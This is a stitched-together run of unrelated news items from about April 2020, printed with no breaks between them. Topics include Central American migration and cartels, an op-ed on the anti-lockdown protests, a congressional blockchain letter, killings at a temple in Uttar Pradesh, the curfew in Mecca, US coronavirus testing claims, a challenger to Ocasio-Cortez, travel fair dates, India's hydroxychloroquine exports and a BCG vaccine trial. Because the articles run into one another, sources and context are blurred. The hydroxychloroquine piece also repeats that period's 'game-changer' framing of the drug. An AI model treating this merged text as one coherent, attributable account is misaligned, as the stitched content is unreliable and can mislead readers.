Gingersnaps can be seen on the brand's Instagram account and customers will be directed to the brands e-catalogue. Discounts of up to 20 percent, a free delivery service and a 30-day item exchange policy are available. Contact +6281281899288 for more information. (wir/wng) The United States is facing a massive surge of migrants along its borders. Thousands of people from Central America flee their homes in search of a better, and safer, life in the U.S. In Guatemala and Honduras, many take the dangerous journey north through Mexico hoping for asylum in the country. Many are kidnapped and killed along the way. More than two-thirds of the migrants from Central America experienced the murder or kidnapping of a loved one before they left heading north. A study conducted by a medical charity said 42.5 percent of interviewees spoke of the violent death of a relative. Local drug cartels kidnap many asylum seekers in Mexican border cities. Others were assaulted, threatened, and extorted for money. Outside shelters, migrants reported witnessing a murder. Colombia's Coca Farm The growing violence stems from cocaine routes and territorial disputes between drug cartels found in border cities such as Ciudad Juarez. The damage goes back to the 1970s when American users spent billions of dollars on cocaine. Cocaine is produced along the Andes Mountains. It was distributed by criminal organizations, including the Medellin Cartel famously led by Pablo Escobar. The drug cartels flew cocaine to the Bahamas, and then to South Florida. When authorities cracked down on popular routes that brought shipments from Colombia to Miami, the cartels shifted their directions towards Mexico and Central America. They also worked with the Colombian government to destroy coca farms and dismantle the Caribbean route. The move triggered a cycle of extreme violence fueled by criminal groups. The violence is slowly destroying Guatemala and Honduras---countries considered as some of the most violent places in the world. The Rise of the Central American Drug Trade The cocaine trade spurred on after drug cartels found new routes in Mexico. The country already had a well-establish drug route for marijuana and heroin. The shipments made stops in Central America---particularly in Honduras, Guatemala. Both countries had just survived a civil war. The war, which lasted more than three decades, saw many people killed by death squads, with others suffering from torture before their demise. Their governments were weak and criminal organizations had sway. Corruption was also widespread. In Mexico, the Sinaloa and the Zeta cartels were gaining traction and more territories, forcing the government to respond. These created problems for cocaine traffickers as it became harder for them to ship the drug straight to Mexico. Their solution: ship it to Guatemala and Honduras, where foot soldiers can transport the illicit drug into Mexico by land. Both countries were grappling with stabilizing their economy following a devastating war. Central America became the core of the cocaine drug route. Violence surged in both countries, forcing state governments to crack down on the cartels and their trade routes. The U.S. government supported the harsh policies imposed to combat organized crime. Local military forces arrested thousands, filling up prisons. However, the violence never ceased. Today, both countries have death rates that match that in active warzones, sending many fleeing to the U.S. with hopes of finding a life away from blood and murder. Want to read more? Check these out: In last weeks column, I cautioned that in the face of the severe economic dislocation currently experienced by so many families across the United States, we could expect to see the emergence of a number of political and social movements. Shocks to the system always result in such reactions. Sometimes these will be spontaneous, while in other instances they are fomented. And sometimes they are inspired by what Abraham Lincoln called our better angels, while others are led by those who prey on the fear and anxiety created by the dislocation. We may have seen the beginning of one type of response this past week as right-wing media figures and organizations called for demonstrations in state capitals. They were demanding an end to the emergency lockdown measures that had been ordered to control the spread of the Coronavirus. The protesters carried signs decrying the lockdowns, playing on themes of freedom and individual rights: You cant quarantine the Constitution; My rights dont end where your fear starts; My rights Trump your fear. Signs supporting President Donald Trump and Make America Great Again were also prevalent. For his part, President Donald Trump encouraged these protests issuing, in rapid succession, a number of tweets reading Liberate Minnesota, Liberate Michigan, and then, ominously Liberate Virginia, and save your great second Amendment. It is under siege targeting only states led by governors who are Democrats. This was a classic Trump and Republican tactic shifting the blame to the establishment and decrying lost freedoms at the hands of those in government. In this instance, however, such an approach seemed ironic since Trump now heads the federal government, and he, himself, has issued orders promoting lockdowns. The President also took another page from his tried and true playbook by preying on his supporters fears and resentments. In just the past week, he incited against China (which he holds singularly responsible for the virus), Muslims (whom he suggested were being accorded special consideration not given to Christians and Jews), immigrants (whom he charged were taking jobs from Americans) and, of course, Democrats (who were accused of threatening individual freedoms). It appears, in all of this, that the president and his party want to repurpose the tactics they used with some success after the great recession of 2008-2009. Back then, they also incited against foreigners (focusing on immigrants, who the party claimed brought crime and stole jobs from citizens); Arabs and Muslims (who were said to be threatening American values and security); Blacks and Latinos (whom the GOP claimed were receiving unfair advantages) and the Democrats efforts to expand health care coverage (which they charged would place health care in the hands of big government bureaucrats). These tactics worked, creating the mass movement that ultimately gave rise to Trumpism. In the process, Republicans were able to turn many white middle-class voters, who felt ignored, betrayed, and anxious about their futures, into a base of support for economic policies that went against their own self-interest. During the last decade, while Republicans were spreading this divisive message of fear, Democrats failed to find an effective response. They did project high-minded slogans Were Stronger Together. They advocated complicated policy goals immigration reform focusing largely on the undocumented, and a trillion-dollar, job-creating infrastructure program. And they intensified and updated their fundraising and social media strategies. In all of this, they succeeded in energizing what had become the Democrats support base of minority, young, and educated women voters. But they failed to erode the support for Trump and Trumpism. In fact, the way Democrats went about approaching these issues may have served to exacerbate the national divide. Three examples are worth noting: During the entire debate over immigration reform, I pressed the White House and Democrats to expand the discussion to include immigrants from other regions of the world. For example, official tallies show that there are tens of thousands of Irish, Polish, and other Europeans who are undocumented. Why are they not, I asked, included in our discussion? My appeal fell on deaf ears and the issue continued to be presented as if only Latinos had a stake in addressing this concern. In 2014, following the Democratic Partys devastating losses in the November mid-term elections, the partys pollster made a presentation to a DNC executive committee meeting. His upbeat message was that, despite the losses, there was good news in that election because we maintained the support of the partys base minority, young, and educated women voters we just didnt win enough of them. The solution he proposed was to expend more resources to expand turnout amongst these critical base vote groups. When I asked what were we doing to reach white middle-class voters in states like Pennsylvania, Ohio, Michigan, and Wisconsin where we had lost significant support he responded: We arent going to throw money away going after folks who arent ever going to support us. I replied that if that was to be our approach we were being as divisive as the Republicans. Reflecting this same mindset, recall Hilary Clintons dismissive comment in which she referred to Trump supporters as a basket of deplorables. That expression provided Republicans with a hammer with which to pound home what they said was Clintons elitism and contempt for the white middle class. We can see in the protests against the Coronavirus lockdowns the unfolding of a strategy that once again preys on the same fear and resentment. Those who are organizing these rallies know exactly what they are doing. And many of those who are demonstrating are most likely hardcore haters the waving of Confederate flags and some of the signs and paraphernalia being distributed at these events make that clear. But they are only the vanguard the messengers of a strategy designed to reach a larger audience of Americans who feel threatened by economic ruin, ignored by elites, and are frightened for their future. What is required is a counter-strategy that speaks to the better angels of all voters. It should be a message that is inclusive and respectful and speaks to every component group in society that is hurting. It should reflect an understanding of their hurt and even their anger at losing their jobs and the resentment they feel at living isolated from their families and friends. It should be as value-based and as challenging as Franklin Roosevelt during the Depression or Winston Churchill during World War II. It should be both explanatory and visionary, continuing to explain why the burdensome closures are needed and coupling this with a positive vision of the future, contrasting it with the dystopia that awaits us if these precautionary measures arent sustained. And finally, this response should be both personal, and universal, identifying a victim or hero whose personal story can be elevated to a larger-than-life narrative that inspires hope, promotes empathy, and renews confidence in government. I firmly believe that those who are being preyed on with anger, fear, and resentment will respond to a message that speaks to them with concern for their families, empathy for others in need, and concern for the common good. But to win their support, they must be addressed with respect by messengers they can trust. Its a tall order to be sure but the crisis in which we find ourselves and the expected reactionary response we see already unfolding before us demand more than just business as usual. While we cant set a timetable for when a vaccine and/or cure will be found, given the work of medical researchers, I feel certain that this will be done. Whats not certain is the type of society and government we will have when this crisis is over. That is the challenge we face. Search Keywords: Short link: Eleven members of Congress are calling on the U.S. Treasury Department to look at new technologies, including blockchain and distributed ledger technology (DLT), to help streamline how cash and supplies are distributed under a federal law trying to boost the economy during the COVID-19 crisis. A letter addressed to Treasury Secretary Steven Mnuchin points to blockchain and DLT as secure new mechanisms for moving money quickly and transparently, which could in turn boost liquidity in distributing funds via the federal CARES Act. U.S. Congressman Darren Soto (D-Fla.) spearheaded the letter, dated April 23 but released publicly on Tuesday. Related: COVID-19 and the Mass Surveillance Machine, Feat. Maya Zehavi Reps. Tom Emmer (R-Minn.), David Schweikert (R-Ariz.), Ro Khanna (D-Calif.), Warren Davidson (R-Ohio), Ted Budd (R-N.C.), Tulsi Gabbard (D-Hawaii), Anthony Gonzalez (R-Ohio), Bill Posey (R-Fla.) and Ben McAdams (D-Utah) and Delegate Stacey Plaskett (D-U.S. Virgin Islands) joined Soto in signing the letter. We understand your primary mission is to deliver urgent and necessary assistance to Americas small businesses and working families, the letter says. As the pandemic continues to impact the economy, we look forward to supporting the Administrations efforts to get American small businesses running while also prioritizing health, safety and proper oversight. However, the letter says, the Treasury Department can take additional steps to improve its efforts. We thus strongly encourage the Treasury Department to utilize private sector innovations such as blockchain and DLT to support the necessary functions of government to distribute and track relief programs and direct that all guidance support the use of technology to facilitate delivery of CARES Act benefits, the letter says. Such steps will ensure both that America retains its technological advantage and that relief is delivered quickly to the small businesses and individuals who need it most. Story continues Related: World Economic Forum Shares Roadmap for Deploying Blockchains in Real World The letter points to Chinas rollout of its own blockchain system as an example of other nations pursuing the same technology. Why blockchain? Soto, who co-chairs the Congressional Blockchain Caucus, told CoinDesk he had spoken with developers, entrepreneurs and other members of the caucus in drafting the letter. In his view, blockchain or DLT tools might be the most secure ones available to solve some logistical challenges the federal government is facing in distributing funds and other supplies. Blockchain-based systems could be coupled with artificial intelligence (AI) to better manage the data being tracked or transmitted, he said. It works so well in hand with artificial intelligence and its not subject to hacking or changes once you have that fixed ledger down, he said. Soto sees AI as a supplementary tool, rather than something to take charge of a distribution network. Policymakers would still need to set strict parameters and humans would still have to act as administrators for such a system, he said. We could see greater speed and efficiency right now, he said of the proposed system. Due to the COVID-19 crisis, there is a lot more demand for certain goods than there is supply, and having individuals manage their distribution is a difficult task. I believe its worth at least doing pilot programs, Soto said. The results of these pilots can inform what a next step might look like, he said, though hes not looking to immediately replace existing systems with blockchain-based versions just yet. This is a good time to start the conversation, Soto said. During this terrible crisis there are certain opportunities to advance technologies, he said. This presents us with an opportunity to potentially get greater efficiency for a lot of these logistical issues. Read the full letter below: Related Stories Two priests were found murdered at a temple in Bulandshahr district on Tuesday morning, allegedly killed by a local youth. Jagdish (55) and Sher Singh (45) were apparently hit with a lathi at Paguana village's Shiva temple in Anupshahr police station area, police said. The alleged killer was arrested. Uttar Pradesh Chief Minister Yogi Adityanath directed strict action in the case as opposition leaders targeted his Bharatiya Janata Party government over the crime. Congress leader Priyanka Gandhi and Samajwadi Party chief Akhilesh Yadav said the case should not be politicised, Maharashtra Chief Minister Uddhav Thackeray spoke to Adityanath, expressing concern over the killing. Days earlier, Adityanath had made a similar phone call to him over the lynching of two sadhus in Palghar. According to Uttar Pradesh Police, Murari, also known as Raju, was accused by the sadhus two days ago of stealing a pair of tongs used by them. The youth, allegedly under the influence of cannabis, was caught near the temple soon after the two were found dead in the temple. Senior officers rushed to the spot and questioned the man, who told them that after taking bhang on Monday night he went to the temple and killed the sadhus with a lathi lying there. According to one official, the intoxicated youth said he carried out God's will, denying he had any quarrel with the priests. The senior official said the youth will be interrogated at length later as he was still under the influence of the drug. Villagers caught the youth when he was spotted roaming naked about two kiolmetres from the scene of the crime, police said. Some reports said he was carrying a sword and initially police said the two priests were hacked to death. Yogi Adityanath directed strict action in the case and sought a detailed report from officials. Congress general secretary Priyanka Gandhi Vadra also called for a through probe. "Today, two sadhus sleeping in a temple in Bulandshahr have been killed mercilessly. There should be a thorough probe into such heinous crimes and no one should politicise these incidents at such a time," she tweeted in Hindi. She claimed 100 people have been killed in Uttar Pradesh in the first 15 days of the month. Samajwadi Party president Akhilesh Yadav also said that such murders should not be politicised. "The brutal killing of two sadhus in the temple complex in Bulandshahr, Uttar Pradesh is extremely condemnable and tragic. Instead of politicising such murders, there is a need to look into the criminal motive or the root cause of such violent mentality, he tweeted. Shiv Sena leader Sanjay Raut called the killings terrible. He appealed not to make the issue communal as they tried in Palghar, in a tweet seen as a jibe at Adityanath. Two sadhus and an associate were lynched recently in Maharashtra's Palghar Adityanath had then called up Maharashtra Chief Minister Uddhav Rawat, asking him to take strict action in that case. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Advertisement Just a handful of worshippers were seen offering their evening prayers at Mecca on Monday as Islam's holiest city was ordered to remain under strict coronavirus curfew during the holy month of Ramadan. Saudi Arabia began lifting country-wide lockdown measures this week but said a 24-hour curfew will remain in place at Mecca and Medina for the foreseeable future. The city's Grand Mosque, which is typically crowded at this time of year, has been all-but deserted since restrictions were first introduced on prayers on March 5. Those offering prayers there on Monday observed strict social distancing rules while being watched over by members of the country's police force. A small number of worshippers were allowed inside Mecca's Grand Mosque to offer their evening prayers during Ramadan on Monday - as the city was ordered to remain under strict 24-hour curfew during the holy month Those allowed to pray at the site were told to observe social distancing rules while being watched over by members of the country's police force Mecca's Grand Mosque is typically crowded each evening during Ramadan as people break their fast, but has been all-but deserted since coronavirus restrictions were introduced on March 5 In cities outside Mecca and Medina, people were allowed back on the streets between 9am and 5pm from Monday, while wholesale shops and shopping malls will be allowed to reopen from Wednesday. Activities which do not allow for physical distancing, including salons and cinemas, will remain closed. Social gatherings of more than five people are forbidden. Some cities - such as the capital Riyadh - have said banknotes will be banned and shoppers must pay by card. Saudi Arabia announced 1,289 new coronavirus cases on Monday, bringing its total since the start of the outbreak to 18,811. Five more deaths from the virus were also recorded, bringing the death toll from 139 to 144. Health officials warned that the number of cases will continue to rise after the kingdom struck a deal with China to conduct nine million coronavirus tests at six new labs across the country. So far, a million people have been tested for the virus. Saudi Arabia has begun lifting lockdown measures in other parts of the country but has ordered Mecca and the holy city of Medina to remain under 24-hour curfew Worshippers perform the Isha evening prayer in front of the Kaaba shrine at Mecca on Monday evening while observing social distancing rules amid coronavirus lockdown A Saudi police officer stands guard in front of the Black Stone, a holy relic which Muslims believe dates back to the time of Adam and Eve and is often touched by pilgrims. Touching the stone has been banned due to coronavirus It comes amid rumours that the annual Hajj pilgrimage, which typically sees millions of worshippers flock to Mecca, will be cancelled for the first time in modern history. Authorities have already advised those making plans to attend this year's event, scheduled for the end of July, to reschedule. It would be the first time that Hajj has been cancelled since the founding of the Saudi state in 1932. The year-round Umrah pilgrimage to Mecca was suspended in March for fears it would increase the spread of coronavirus in the Arabic kingdom. On March 5 the Grand Mosque was completely closed so it could be disinfected, before reopening a few days later with touching of the cubic Kaaba shrine banned. Since then it has been largely empty as Muslims were urged to stay away due to coronavirus. It comes after Iran suffered the Middle East's worst virus outbreak after refusing to shut down religious cities such as Qom despite evidence the virus was widespread there. Millions of Muslims around the world are now celebrating Ramadan in relative isolation amid coronavirus lockdowns that have seen large gatherings - such as those where the fast is typically broken - banned. Members of the National Assembly have resumed plenary after about five weeks of recess over the coronavirus (COVID-19) pandemic. The lawmakers in the Senate and House of Representatives chambers returned to the Assembly complex in Abuja on Tuesday after they went on break as part of measures to curb the spread of COVID-19 in the country. In the upper house, the Senate President, Ahmad Lawan, led the lawmakers into the chamber after which plenary started at about 10:30am as soon as the lawmakers were seated. Amid the rising cases of COVID-19 in the country, the senators were asked to maintain social distance inside the chamber by giving a space of two seats between themselves. Shortly after the proceedings began, the Senate went into a closed-door session. Similarly, the Speaker of the House, Femi Gbajabiamila, led the lawmakers into the chamber of the House for plenary. President Donald Trump said Tuesday the U.S. will "very soon" run 5 million coronavirus tests per day, even as the lack of testing remains an obstacle for many states anxious to reopen for business. "We'll increase it, and it'll increase it by much more than that in the very near future," Trump said when a reporter asked if he's confident the U.S. will reach 5 million tests per day, as some health experts say would be required to "reopen" the country. Speaking to the press the following day, Trump denied ever having said there would be 5 million tests per day, but he added that he does believe there will, in fact, be five million tests per day. "Somebody came out with a study of 5 million people. Do I think we will? I think we will, but I never said it," Trump claimed during an event at the White House on Wednesday. "Somebody started throwing around 5 million. I didn't say 5 million," the president insisted, adding, "Well, we will be there. But I didn't say it. I didn't say it." The U.S. is currently nowhere near conducting 5 million tests a day, and there is skepticism within the Trump administration itself about whether the country could hit that goal. Adm. Brett Giroir, who is running the administration's testing response, told Time magazine in an interview Tuesday morning, before Trump's remarks, that "there is absolutely no way on Earth, on this planet or any other planet, that we can do 20 million tests a day, or even 5 million tests a day." The most tests the nation has run on a single day was 314,182 on April 22, according to data compiled by the Covid Tracking Project. The U.S. has run just 5.7 million total Covid-19 tests since the beginning of the pandemic, according to the volunteer project designed to track testing data launched last month by The Atlantic. That puts the nation woefully behind where its testing capacity needs to be. At the average rate of around 157,000 tests run a day in April, according to the project, it would take almost 6 years to test everyone in the U.S. just once. Health-care workers and other first responders need to be tested often. New York state is requiring private companies that want to bring their employees back to work to test them frequently. Over 35 days into the lockdown to tackle the coronavirus crisis, stranded migrant workers in the district are still willing to risk their health to return to their home towns. A three-week nationwide lockdown was first announced on March 24, later being extended up to May 3. Shortly into the lockdown, there was a rush across state borders as migrant workers scrambled for ways to reach their home towns. Although state governments had come up with shelter homes and hunger centres for daily wagers, migrants preferred to walk hundreds of kilometres back to their homes, after public transport was discontinued. I got my salary this month but my husband, who used to work in a factory, has lost his job. The contractor doesnt even bother to pick our calls. We could not survive on my salary alone and were forced to seek help from others, who were kind enough to give us enough ration for almost 10 days. We are running out again and are unsure if we would get help again. Had we gone back home, we could have lived with either of our families, which would have been preferable to our present condition, said Rukmani, a domestic help from Ranchi who lives with her family at a shanty cluster near Sector 75. If given a chance, the family is ready to leave the city to return home. The district administration, on March 28, had instructed landlords not to evict tenants, especially those from low-income groups, if they were unable to pay rent. The order, however, did not stop scared tenants from moving out. We used to live in Mamura earlier. We did not know that the government had made a rule about rent. We just knew that we would not be able to pay our monthly rent of 5,500 and so, moved to an empty plot in Chhajarsi earlier this month. I work as a security guard but I would love to send my wife and kids back home as soon as travel is allowed, said Abbas, who moved to Gautam Budh Nagar from Deoria district. In some cases, migrants are risking violating the lockdown guidelines to reach home and are purchasing bicycles for the purpose. The Noida police has arrested one cycle shop owner and booked at least one other for selling cycles. The Phase-2 police booked a shop owner, after police intercepted four migrants on bicycles, on their way to Bihar this Sunday. Also on Sunday, another person was arrested by the Sector 39 police for secretly selling a cycle from his shop in Chhalera village. Upon questioning him, they found that he had sold four cycles earlier this month, the police said. Migrants were also caught while travelling through fields of Jewar and Dadri last month. With no clarity about future travel, going back home is not just important from an economic perspective for some migrants, but also about being with their family. My parents, siblings, their families and in-laws are in Siwan. We have been in Noida for five years now. We could not go home this year for Holi, but now, we wish more than ever that we had gone. We are anyway not working and are dependent on either the government or the generosity of other people for food. Had we gone home, it would have been much easier. Even talking to them daily is not an option. Last month, an acquaintance in Sector 27 had recharged our phone. We dont know how we will manage going forward, said Sarita, a resident of Atta, who used to run a tea stall in Sector 18. Officials said that migrant movement is under control at present. The situation is nothing like what we had seen in the initial days (of the lockdown). There are a few isolated incidents where people are still trying to move to other states. Whenever such migrants are found, they are transferred to shelter homes after explaining the rules and possible solutions to their problems, such as food or medical services. However, if anyone tries to violate guidelines despite warnings, we can take legal action against them, said Kumar Ranvijay Singh, additional deputy commissioner of police. Violators can be booked under Section 188 (disobedience to order duly promulgated by public servant) of the Indian Penal Code, the police said. Michelle Caruso-Cabrera interviewing President Donald Trump's former adviser Steve Bannon at a CNBC conference in July, 2018. Heidi Gutman/Getty Images Rep. Alexandria Ocasio-Cortez, the freshman progressive from New York, is facing more than a dozen challengers in her reelection race this year. Perhaps the strongest contender is the former CNBC host Michelle Caruso-Cabrera, a former registered Republican who is running in the Democratic primary and has raised almost $1 million. While Caruso-Cabrera accused Ocasio-Cortez of being "out of touch" with her constituents and living in a luxury apartment in Washington, DC, Caruso-Cabrera only moved to the Bronx-Queens district late last year after residing for several years in Trump International Hotel and Tower in Manhattan. Caruso-Cabrera renounced several of the positions she took in her 2010 book promoting fiscal conservatism. She told Insider in a recent interview that, if she could go back, she would have "written that book differently." Visit Business Insider's homepage for more stories. Rep. Alexandria Ocasio-Cortez, the freshman progressive from New York, is facing more than a dozen challengers in her reelection race this year. Arguably the strongest contender to replace the democratic socialist is the former CNBC host Michelle Caruso-Cabrera, 53, who is running in the Democratic primary in the Bronx-Queens district and raised almost $1 million in the first quarter of this year. Caruso-Cabrera, a former self-described "Whole Foods Republican" who wrote a 2010 book calling for small government and fiscal conservatism, is positioning herself as a pro-business centrist to the right of Ocasio-Cortez. She's also repeatedly attacked Ocasio-Cortez's constituent services and accused her of staying in her "luxury apartment with a Whole Foods in the lobby" in Washington, DC, and ignoring her district as it became the epicenter of the US coronavirus outbreak. In a recent interview with Insider, Caruso-Cabrera said the first-term congresswoman was "out of touch" with her district, "doesn't know what it takes to put food on the table and to put a roof over the head of a family," and was masquerading as a Bronx native. Story continues Ocasio-Cortez, who worked as a bartender to support her financially struggling family, was born in the Bronx and lived there until her family moved north to Yorktown in Westchester County when she was 5 years old. She moved back to the Parkchester neighborhood of the Bronx after college. "She's from Westchester, don't forget. She didn't grow up in the Bronx like she claims," Caruso-Cabrera said. "And everybody in the Bronx knows it." But Caruso-Cabrera, a New Hampshire native who lived in Manhattan for 20 years, told Insider she moved to New York's 14th Congressional District only late last year when she and her husband took up residence in Sunnyside, Queens. Insider found that Caruso-Cabrera and her husband recently lived in an apartment in Trump International Hotel and Tower at Columbus Circle in Manhattan for several years. A representative for the campaign confirmed that Caruso-Cabrera moved into her husband's apartment at 1 Central Park West, which he rented for nine years. StreetEasy reported that the two-bedroom home rented for nearly $15,000 a month in 2011, while similar apartments in the same building are being offered for $9,000 to $13,000 a month. Katy Delgado, a spokeswoman for Caruso-Cabrera's campaign, declined to comment on the cost of the apartment and instead said the campaign would "address those questions" when Ocasio-Cortez addressed conservative groups' accusations that she violated campaign-finance laws in 2018. Rep. Alexandria Ocasio-Cortez talking to reporters outside the US Capitol. Chip Somodevilla/Getty Images As the Bronx and Queens have become the communities hardest-hit by the novel coronavirus, Caruso-Cabrera has shifted her focus from campaigning to helping deliver food and supplies to constituents and hospitals. Ocasio-Cortez has similarly zeroed in on the local and federal response efforts, raising funds and distributing supplies in her district. Ocasio-Cortez's campaign did not respond to a request for comment in time for publication, but a spokeswoman, Lauren Hitt, told the New York Post earlier this month that Ocasio-Cortez "has remained actively engaged in all district business" while she's traveled to and from Washington. Caruso-Cabrera slammed her opponent's vote against the fourth federal stimulus package, which Ocasio-Cortez argued was a "small, patchwork bill" that didn't include enough funding for small businesses and state and local governments. Ocasio-Cortez was the only Democrat to vote against the bill. A big-business candidate in an economic crisis When Caruso-Cabrera decided to run for Congress last year, she says, she was motivated by Ocasio-Cortez's controversial opposition to New York's deal with Amazon which later fell through for a secondary headquarters in Queens. Now that the country has been plunged into an ever-worsening recession, Caruso-Cabrera contends that New York City could use Amazon jobs more than ever. While Amazon has continued to hire in New York despite pulling out of the headquarters deal, business interests have shown their support for this message. The Chamber of Commerce, a business-advocacy group that normally backs Republicans, is planning to endorse and fundraise for her. And reports with the Federal Election Commission revealed earlier this month that upward of four dozen Wall Street financiers, including the leaders of Goldman Sachs and other prominent private equity and investment executives, had donated to Caruso-Cabrera's campaign. Ocasio-Cortez, herself a prolific fundraiser, has raked in almost $8 million for her 2020 race as she's railed against Wall Street and big business on Capitol Hill. Caruso-Cabrera defended her donors and said she's "proud" that business leaders supported her. "People who create jobs are the ones that want to support me," she said. While the candidate has remained consistent over the years in her support for big business, she's evolved dramatically on other key policy issues. In her 2010 book, "You Know I'm Right: More Prosperity, Less Government," Caruso-Cabrera called for privatizing both Medicare and Social Security, which she described as "the country's biggest pyramid schemes." She made the case for tax cuts, deregulation, ending public-sector unions, and eliminating federal cabinet agencies. But, 10 years later, she's reversed her positions on key issues, including America's safety net, which is particularly crucial in the disproportionately low-income district she hopes to represent. While she hasn't proposed or endorsed any specific policies, she says she's open to a public option on the Obamacare marketplace and supports labor's right to organize. "That book is quite old, and would I have written that book differently? Yes, I would have," she told Insider. "What I would tell you is that I absolutely believe in preserving Social Security and Medicare, especially for the poor and the elderly." Caruso-Cabrera, who left her post as a CNBC correspondent to join the board of directors of the financial services company Beneficient in 2018, argued that she's become more interested in compromise over the past several years and has abandoned the "ardent" politics of her past. "When you're younger, you have ideas that are so fixed, they're ardent. And then as you grow older you realize those ideas can be brittle and they break," she said. "And you learn over time that there's got to be a lot more commonality. You've got to work with people, you have to unite people." But Caruso-Cabrera promoted her book on her Instagram as recently as October 2018, adding a special thanks to Larry Kudlow, a former CNBC host who is now the top economic adviser to President Donald Trump and who wrote the book's foreword. Read the original article on Business Insider Reed Travel Exhibitions has rescheduled the dates for the three spring global trade shows in its WTM Portfolio: WTM Latin America, Arabian Travel Market (ATM) and Africa Travel Week, which comprises WTM Africa and International Luxury Travel Market (ILTM) Africa. The original dates of the events have had to be changed in response to the escalation of Covid-19. Firstly, ATM has been rescheduled from April 19-22 at Dubai World Trade Centre, UAE, to the new date of May 16 19, 2021 at the same venue. Danielle Curtis, exhibition director ME, Arabian Travel Market (ATM), said: We at Arabian Travel Market want to express our concern for everyone impacted by the coronavirus." We are fully aware of the important role that ATM plays for industry professionals across the Middle East region and beyond. We are grateful for the full endorsement that we have received from our customers and partners, who assisted in helping us reach our decision and agreed the 2020 event should be rescheduled," she said. In the meantime, while the physical show will be rescheduled to 2021, we will keep the industry connected by hosting an ATM Virtual Event from June 1-3 featuring a series of webinars, live conference sessions, speed networking events, one-on-one meetings and much more. WTM Latin America 2020, which was due to take place from March 31 - April 2, will now be held from October 20-22 at the same venue, Expo Center Norte, in Sao Paulo. Luciane Leite, director WTM Latin America, said: We appreciate the hard work that goes into the planning and preparations that our partners and exhibitors prepare for the event and we have to unite in this challenging period. These are difficult times, but I am sure that together we will emerge stronger from this situation. Meanwhile, Africa Travel Week, which comprises of WTM Africa and International Luxury Travel Market Africa, had been scheduled to take place from April 2-8 this year, will now be postponed until 2021 at the Cape Town International Convention Centre. Carol Weaving, managing director of Reed Exhibitions Africa, said: Due to the uncertainty in the region and around the world, with many of our clients facing company travel bans, we have decided to postpone the event to 2021. Our thoughts are with all those affected in these difficult times. Megan Oberholzer, portfolio director for Africa Travel Week, added: We would like to thank the industry for their support in these unprecedented times. Claude Blanc, WTM Portfolio director, said: We are constantly reviewing the situation around Covid-19 and the impact on our events in line with local and national government and public health advice and World Health Organization guidelines. Our policies reflect those of the country governments in which our events take place. There has never been a more crucial time for the travel industry to work together and our newly scheduled shows promise to be the quality business events that exhibitors and visitors have come to expect just a little later in the year. We will meet at WTM events in the future. Until that time comes, WTM Portfolio has launched a new online portal called WTM Global Hub, to connect and support the travel industry professionals around the world. WTM Global Hub will keep you informed, inspired and connected, Blanc said. Visitor registration remains valid for the new event dates and anyone who has booked travel and/or hotel accommodation should contact their respective tour operator, airline and hotel they booked with. WTM Global Hub can be found at https://hub.wtm.com/. - TradeArabia News Service Vice President Dang Thi Ngoc Thinh (front, second, left) visits a quarantine room at the centre of defence and security education of the Vietnam National University, Hanoi, in Thach That district on April 27 (Photo: VNA) At the working session, Commander Maj. Gen. Nguyen Quoc Duyet reported that the high command has received, transported, quarantined and handed over to other quarantine facilities more than 15,000 people, including over 12,000 Vietnamese and foreigners from other countries. It has also coordinated with localities, quarantine centres, the Hanoi Department of Transport and the Hanoi Transport Service Corporation to bring nearly 3,000 people finishing the quarantine period to their hometowns. Over the last three months, he added, officers and soldiers of the high command have kept a high sense of responsibility to brave difficulties to fulfil epidemic prevention and control tasks, and their efforts have been highly valued by the quarantined persons, including both Vietnamese and foreigners. Lauding their contributions to the COVID-19 combat, Vice President Thinh attributed the achievements Vietnam has obtained so far to the entire political systems engagement and all peoples unanimity and support. She pointed out that the pandemic remains complex and unpredictable, adding in the spirit of fighting the outbreak is like fighting an enemy, officers and soldiers of the Hanoi Capital High Command need to press on with drastic actions to concurrently ensure security and defence and protect peoples health and lives. New Delhi: India has given go-ahead to Malaysia's request for supplying hydroxychloroquine (HCQ), a drug that is being called as a game-changer to deal with COVID-19 crisis. Kuala Lumpur had requested hydroxychloroquine from India to deal with COVID even as New Delhi got the request from several countries for the drug. New Delhi has gifted 5 million HCQ tablets to countries in the neighbourhood and the IOR, Africa, Latin America, Central Asia, Eurasia and WANA regions. It is also providing 1.32 million Paracetamol (PCM) tablets to its neighbouring and other partner countries. Total Value of the medicines and other supplies to be gifted by India stands at INR 383 million (about USD 5 million). In addition to this, India has given clearance to commercial consignments of around 285 million HCQ tablets to 40 countries. Commercial consignments of around 500 million PCM tablets for 60 countries have also been cleared. Ties between India and Malaysia are headed towards a positive trajectory under the new leadership. Earlier this month, Indian High Commissioner to Malaysia, Mridul Kumar, met Malaysian Foreign Minister Hishammuddin Hussein regarding cooperation on COVID-19. That was the second meet between both of them in the last one month. The India High Commissioner was the first envoy received by the Malaysian foreign minister on March 18, and on the same day, HC Kumar also called on the new Malaysian PM Tan Sri Muhyiddin. India had allowed eighteen special Malaysian flights for the evacuation of Malaysian nationals since it had imposed a ban on international flights on March 20. This is the biggest number of flights New Delhi allowed for any foreign country. The flights brought back 2,833 Malaysian nationals, which is again the maximum number of citizens repatriated till now for any foreign country. Texas A&M University researchers have begun recruiting health care workers to test whether a century-old tuberculosis vaccine can help in the fight against the coronavirus, scientists latest attempt to repurpose a drug to help fend off the deadly pandemic. The researchers, who are teaming with Harvard University, MD Anderson Cancer Center and Baylor College of Medicine, say the expectation isnt so much that the vaccine will prevent people from becoming infected as that it could result in fewer hospitalizations and deaths from COVID-19, the illness caused by the virus. The vaccine, given to millions of people every year, has a proven track record of providing benefits not originally intended by the intervention. This could make a huge difference in the time before a specific vaccine is developed for COVID-19, said Jeffrey Cirillo, a Texas A&M Health Science Center professor of microbial pathogenesis and immunology. I really think it can tip the balance against the pandemic. The vaccine BCG, short for bacille Calmette-Guerin is used on about 100 million people a year, mostly in the developing world, where studies have shown it has helped patients fight off bacterial, viral and fungal infections. It is used in the United States as an immunotherapy against bladder cancer. Cirillo said repurposing BCG represents a speedy way to treat COVID-19 because it already is approved by the Food and Drug Administration. Because researchers can skip the earlier clinical trial phases necessary to prove a drug is safe, the vaccine could be available for use against COVID-19 in six months, said Cirillo, maybe even sooner if early results show a benefit. The trial follows previous therapeutic investigations involving repurposed interventions the blood plasma of recovered COVID-19 patients, stem cells, anti-malarial and anti-arthritis drugs, broad spectrum antivirals as doctors look for anything that will work against the new disease, which has infected more than 1 million Americans and killed in excess of 60,000. Currently, there is only experimental treatment and supportive care. The trial is the first in the U.S. to test the vaccine against COVID-19. There are similar trials, using slightly different vaccines, ongoing in the Netherlands, Australia and Germany. 